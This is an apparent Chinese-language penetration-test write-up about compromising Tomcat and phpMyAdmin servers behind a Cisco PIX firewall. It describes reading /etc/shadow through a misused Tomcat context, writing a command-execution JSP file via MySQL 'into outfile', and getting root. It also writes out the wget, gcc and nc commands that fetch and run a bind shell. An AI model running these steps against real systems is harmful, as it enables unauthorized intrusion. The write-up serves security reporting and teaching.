前一段時間接了一個滲透測試的任務,過程有點意思,所以簡單寫一下,以供參考。
我們檢測的三台主機中兩台為Linux系統,一台為AIX系統。還有一台是邊界路由器。
目標網絡的主機通過地址轉換來提供對外訪問,內部使用172.16.*.*地址段(這些信息是測試之後才得到的,開始並不知道)。在邊界路由器後面還有一台Cisco PIX 525
(515?)對三台主機進行保護,只允許外部用戶連接不同主機的部分端口,例如80, 25,110等等。
根據我們的檢測,Cisco PIX防火牆的過濾規則設置還是比較嚴密的,基本上沒有多余端口允許外部用戶訪問。
在對xx.xx.xx.2和xx.xx.xx.3進行了端口掃描之後,發現只有通過xx.xx.xx.3的WEB服務進行進行間接攻擊。首先檢查TCP/80端口的服務,我們發現新聞搜索的功能是在另外一個端口8070提供的。直接輸入:http://yyy.yyy.yyy:8070/
之後,得到了一個系統管理登錄頁面,簡單地測試了一下,輸入test/test作為用戶名/口令,似乎認證成功,但最後並不能進入下一個頁面。我們發現這個端口正在運行
Tomcat 3.1,而這個版本存在一個安全漏洞,缺省/admin目錄是可以訪問的。在輸入:http://yyy.yyy.yyy:8070/admin 之後,我們果然看到了”Tomcat Administration Tools”的頁面,通過點擊”Context Admin”這個鏈接,我們可以對 Tomcat的Context進行管理,例如查看、增加、刪除Context。這個Context有點類似虛擬目錄,於是我們可以增加一個 context, 例如”/tt”,將它的文檔根目錄設置為”/”,這樣當我們訪問http://yyy.yyy.yyy:8070/tt時看到的就是系統根目錄的列表了!進一步可以查看任意目錄裡面的任意文件。由於Tomcat是以root身份運行的,所以可以查看任意系統文件,例如 /etc/passwd和/etc/shadow。根據口令文件進行密碼破解後發現系統中的兩個用戶test和root都使用了非常簡單的口令: 123456。盡管外部用戶無法直接訪問telnet服務,這些口令還是應當被重設為更為強壯的字符串
利用這個漏洞我們基本上可以查看整個系統,但是由於無法寫入數據,威脅似乎還不是很大。
於是我們將注意力轉移到論壇和聊天室。這兩個服務一個監聽在8080,一個監聽在8888端口。直接輸入http://yyy.yyy.yyy:8080/, 我們看到了Tomcat4.1.10的歡迎頁面,點擊左邊的管理鏈接:http://yyy.yyy.yyy:8080/admin ,我們得到了一個登錄頁面,雖然我們不知道口令,但是通過前面8070端口的漏洞,我們找到了Tomcat保存這些口令的文件,得到了管理用戶名為admin,口令為空。於是我們就可以對整個Tomcat服務器進行管理了。
但這仍然不足以讓我們在系統上運行命令。於是我們繼續檢查聊天室所在的8888端口。這個端口運行的是apache 1.3.26 +PHP 4.1.2。開始沒有發現什麼問題,突然想到前面發現的兩個漏洞都與/admin有關,這個端口上會不會也有這個目錄呢?在輸入這個目錄之後我們驚奇地發現,我們進入了一個phpMyadmin的管理界面。我們可以對整個數據庫進行任意操作。由於數據庫是mysql,它支持從本地操作系統讀入或者寫入數據。因此我們在 test庫中建立了一個簡單的表,然後添加一條記錄,記錄的內容就是一個php文件的內容,我們想寫入一個php文件,然後利用php調用外部命令的方法來執行命令。我們利用
select tt into outfile /path/test.php from kk
這樣的命令來將數據庫中的內容寫到一個php文件裡,但由於mysql是以mysql用戶身份運行的,無法寫到apache的目錄中。所以這次嘗試失敗了。
我們又想到了一個方法,利用8070端口的漏洞我們可以訪問任意系統文件,而8070端口是由tomcat提供服務的,如果我們可以設法在系統中創建一個. jsp文件,就可以遠程訪問這個jsp文件,它將被tomcat處理並運行。如果這個.jsp文件中的內容是一段執行系統命令代碼,就可以運行系統命令了。
於是我們又重新編寫了一段可以執行系統命令的jsp代碼,將其輸入測試表中,再次利用into outfile方法將其內容寫到/tmp/test.jsp文件中,然後訪問下列鏈接:
http://yyy.yyy.yyy:8070/tt/tmp/test.jsp
(感謝watercloud提供技術支持)
我們發現我們指定的命令被執行了!而且是以root身份執行的。這意味著我們已經完全控制了整個系統。
當然,通過cgi執行命令還是不如有一個shell來得方便。當然最簡單的方法就是開一個xterm連回到我們的Xwindows即可。但是我們是用的 NAT,連不進來。聽說工程部有個IP是可以外部訪問的,就搬了筆記本過去准備用,結果在一切都准備好之後,發現對方居然關機了!@#^*#%#%#$%
第二天,我決定還是用老辦法,開個shell算了。首先要找到一個可以外部訪問的端口。但是防火牆並不允許外部訪問所有的端口,經過一番測試,發現所有允許訪問的端口都被占用著。仔細看了看進程,發現chatserver占了4個端口,每一個端口對應一個聊天室,而且目前也沒有人在使用這些聊天室。所以我就先kill掉其中一個進程,這樣就可以將在其對應的端口上綁定一個shell了。
通過jsp執行命令來下載/編譯/運行我們的bindshell:
wget http://ourhost/bindshell.c
gcc -o bindshell bindshell.c
nohup ./bindshell
現在就可以連接我們的shell了:nc yyy.yyy.yyy 9100
現在我們已經在防火牆的後面了,因此可以直接訪問內網了。通過掃描發現存在如下內部主機:
172.16.1.1 Cisco PIX
172.16.1.2 mail
172.16.1.3 web
172.16.1.4 Oracle db
進一步測試還可以入侵其中的oracle服務器。至此,此次滲透測試基本結束。